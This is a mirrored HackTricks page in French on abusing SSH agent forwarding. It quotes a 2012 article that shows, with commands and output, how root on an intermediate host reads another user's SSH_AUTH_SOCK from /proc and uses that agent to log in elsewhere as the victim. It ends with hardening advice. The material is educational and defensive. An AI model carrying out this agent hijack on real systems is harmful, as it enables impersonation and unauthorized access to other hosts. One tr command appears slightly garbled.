Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-27 07:01:09 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md
Translator workflow af42105553 Translated to French
2023-06-03 13:10:46 +00:00

12 KiB
Raw Blame History

Résumé

Que pouvez-vous faire si vous découvrez dans la configuration /etc/ssh_config ou dans la configuration $HOME/.ssh/config ceci :

ForwardAgent yes

Si vous êtes root à l'intérieur de la machine, vous pouvez probablement accéder à toute connexion ssh effectuée par n'importe quel agent que vous pouvez trouver dans le répertoire /tmp.

Faites-vous passer pour Bob en utilisant l'un des ssh-agent de Bob :

SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston

Pourquoi cela fonctionne-t-il?

Lorsque vous définissez la variable SSH_AUTH_SOCK, vous accédez aux clés de Bob qui ont été utilisées dans la connexion ssh de Bob. Ensuite, si sa clé privée est toujours là (normalement, elle le sera), vous pourrez accéder à n'importe quel hôte en l'utilisant.

Comme la clé privée est enregistrée dans la mémoire de l'agent non cryptée, je suppose que si vous êtes Bob mais que vous ne connaissez pas le mot de passe de la clé privée, vous pouvez toujours accéder à l'agent et l'utiliser.

Une autre option est que l'utilisateur propriétaire de l'agent et root peut accéder à la mémoire de l'agent et extraire la clé privée.

Explication longue et exploitation

Extrait de: https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking/

Lorsque ForwardAgent ne peut pas être fait confiance

SSH sans mots de passe facilite grandement la vie avec les systèmes d'exploitation de type Unix. Si votre réseau nécessite des sessions ssh en chaîne (pour accéder à un réseau restreint, par exemple), la redirection d'agent devient extrêmement utile. Avec la redirection d'agent, il est possible pour moi de me connecter depuis mon ordinateur portable à mon serveur de développement et de là, exécuter une vérification svn à partir d'un autre serveur, le tout sans mots de passe, tout en gardant ma clé privée en sécurité sur mon poste de travail local.

Cependant, cela peut être dangereux. Une recherche rapide sur le web révélera plusieurs articles indiquant que cela n'est sûr que si les hôtes intermédiaires sont dignes de confiance. Rarement, cependant, vous trouverez une explication de pourquoi c'est dangereux.

C'est à cela que sert cet article. Mais d'abord, un peu de contexte.

Comment fonctionne l'authentification sans mot de passe

Lors de l'authentification en mode normal, SSH utilise votre mot de passe pour prouver que vous êtes qui vous prétendez être. Le serveur compare un hachage de ce mot de passe à celui qu'il a enregistré, vérifie que les hachages correspondent, et vous laisse entrer.

Si un attaquant est capable de casser le chiffrement utilisé pour protéger votre mot de passe pendant qu'il est envoyé au serveur, il peut le voler et se connecter en tant que vous quand il le souhaite. Si un attaquant est autorisé à effectuer des centaines de milliers de tentatives, il peut finalement deviner votre mot de passe.

Une méthode d'authentification beaucoup plus sûre est l'authentification par clé publique, une façon de se connecter sans mot de passe. L'authentification par clé publique nécessite une paire de clés publique et privée assorties. La clé publique chiffre des messages qui ne peuvent être déchiffrés qu'avec la clé privée. L'ordinateur distant utilise sa copie de votre clé publique pour chiffrer un message secret pour vous. Vous prouvez que vous êtes vous en déchiffrant le message à l'aide de votre clé privée et en renvoyant le message à l'ordinateur distant. Votre clé privée reste en sécurité sur votre ordinateur local tout le temps, à l'abri des attaques.

La clé privée est précieuse et doit être protégée, donc par défaut elle est stockée dans un format crypté. Malheureusement, cela signifie entrer votre phrase de passe de chiffrement avant de l'utiliser. De nombreux articles suggèrent d'utiliser des clés privées sans phrase de passe (non cryptées) pour éviter cette inconvénient. C'est une mauvaise idée, car quiconque a accès à votre poste de travail (par accès physique, vol ou piratage) a maintenant également un accès gratuit à tous les ordinateurs configurés avec votre clé publique.

OpenSSH inclut ssh-agent, un démon qui s'exécute sur votre poste de travail local. Il charge une copie déchiffrée de votre clé privée en mémoire, de sorte que vous n'avez à entrer votre phrase de passe qu'une seule fois. Il fournit ensuite un socket local que le client ssh peut utiliser pour lui demander de déchiffrer le message crypté renvoyé par le serveur distant. Votre clé privée reste en sécurité dans la mémoire du processus ssh-agent tout en vous permettant de naviguer dans ssh sans taper de mots de passe.

Comment ForwardAgent fonctionne

De nombreuses tâches nécessitent des sessions ssh en chaîne. Considérez mon exemple précédent : je me connecte en ssh depuis mon poste de travail vers le serveur de développement. Là-bas, je dois effectuer une mise à jour svn, en utilisant le protocole "svn+ssh". Comme il serait stupide de laisser une copie non cryptée de ma clé privée super-secrète sur un serveur partagé, je suis maintenant bloqué avec l'authentification par mot de passe. Si, cependant, j'ai activé "ForwardAgent" dans la configuration ssh sur mon poste de travail, ssh utilise ses capacités de tunnelisation intégrées pour créer un autre socket sur le serveur de développement qui est tunnelisé de retour vers le socket ssh-agent sur mon poste de travail local. Cela signifie que le client ssh sur le serveur de développement peut maintenant envoyer des demandes de "déchiffrer ce message secret" directement à l'agent ssh en cours d'exécution sur mon poste de travail, s'authentifiant auprès du serveur svn sans jamais avoir accès à ma clé privée.

Pourquoi cela peut être dangereux

En bref, toute personne disposant de privilèges root sur le serveur intermédiaire peut utiliser gratuitement votre ssh-agent pour s'authentifier auprès d'autres serveurs. Une démonstration simple montre à quel point cela peut être trivial. Les noms d'hôtes et d'utilisateurs ont été modifiés pour protéger les innocents.

Mon ordinateur portable exécute ssh-agent, qui communique avec les programmes clients ssh via un socket. Le chemin de ce socket est stocké dans la variable d'environnement SSH_AUTH_SOCK:

mylaptop:~ env|grep SSH_AUTH_SOCK
SSH_AUTH_SOCK=/tmp/launch-oQKpeY/Listeners

mylaptop:~ ls -l /tmp/launch-oQKpeY/Listeners
srwx------  1 alice  wheel  0 Apr  3 11:04 /tmp/launch-oQKpeY/Listeners

Le programme ssh-add nous permet de visualiser et d'interagir avec les clés dans l'agent :

mylaptop:~ alice$ ssh-add -l
2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA)

J'ai "ForwardAgent yes" dans le fichier ~/.ssh/config sur mon ordinateur portable. Ainsi, ssh va créer un tunnel reliant le socket local à un socket local sur le serveur distant :

mylaptop:~ alice$ ssh seattle

seattle:~ $ env|grep SSH_AUTH_SOCK
SSH_AUTH_SOCK=/tmp/ssh-WsKcHa9990/agent.9990

Même si mes clés ne sont pas installées sur "seattle", les programmes clients ssh peuvent toujours accéder à l'agent en cours d'exécution sur ma machine locale :

seattle:~ alice $ ssh-add -l
2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA)

Alors... Avec qui pouvons-nous jouer ?

seattle:~ alice $ who
alice   pts/0        2012-04-06 18:24 (office.example.com)
bob     pts/1        2012-04-03 01:29 (office.example.com)
alice   pts/3        2012-04-06 18:31 (office.example.com)
alice   pts/5        2012-04-06 18:31 (office.example.com)
alice   pts/6        2012-04-06 18:33 (office.example.com)
charlie pts/23       2012-04-06 13:10 (office.example.com)
charlie pts/27       2012-04-03 12:32 (office.example.com)
bob     pts/29       2012-04-02 10:58 (office.example.com)

Je n'ai jamais aimé Bob. Pour trouver sa connexion d'agent, je dois trouver le processus enfant d'une de ses sessions ssh :

seattle:~ alice $ sudo -s
[sudo] password for alice:

seattle:~ root # pstree -p bob
sshd(16816)───bash(16817)

sshd(25296)───bash(25297)───vim(14308)

Il existe plusieurs façons pour root de visualiser l'environnement d'un processus en cours d'exécution. Sur Linux, les données sont disponibles dans /proc/<pid>/environ. Comme elles sont stockées dans des chaînes de caractères terminées par NULL, j'utiliserai tr pour convertir les NULL en sauts de ligne :

seattle:~ root # tr '' 'n' < /proc/16817/environ | grep SSH_AUTH_SOCK
SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816

J'ai maintenant tout ce dont j'ai besoin pour prendre le contrôle de l'agent ssh de Bob :

seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh-add -l
2048 05:f1:12:f2:e6:ad:cb:0b:60:e3:92:fa:c3:62:19:17 /home/bob/.ssh/id_rsa (RSA)

Si j'ai une cible spécifique en tête, je devrais maintenant être en mesure de me connecter directement. Sinon, simplement en regardant la liste des processus ou en cherchant dans l'historique de Bob devrait présenter de nombreuses opportunités de cibles. Dans ce cas, je sais que Bob a toutes sortes de fichiers super secrets stockés sur le serveur nommé "boston":

seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
bob@boston:~$ whoami
bob

J'ai réussi à utiliser mes privilèges root sur "Seattle" pour accéder en tant que Bob sur "Boston". Je parie que je peux l'utiliser pour le faire virer.

Protégez-vous !

Ne laissez pas votre ssh-agent stocker vos clés indéfiniment. Sur OS X, configurez votre trousseau de clés pour se verrouiller après une période d'inactivité ou lorsque votre écran est verrouillé. Sur d'autres plates-formes Unix, passez l'option -t à ssh-agent afin que ses clés soient supprimées après un certain nombre de secondes.

Ne pas activer la transmission d'agent lors de la connexion à des hôtes non fiables. Heureusement, la syntaxe ~/.ssh/config rend cela assez simple :

Host trustworthyhost
  ForwardAgent yes

Host *
  ForwardAgent no

Lecture recommandée

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥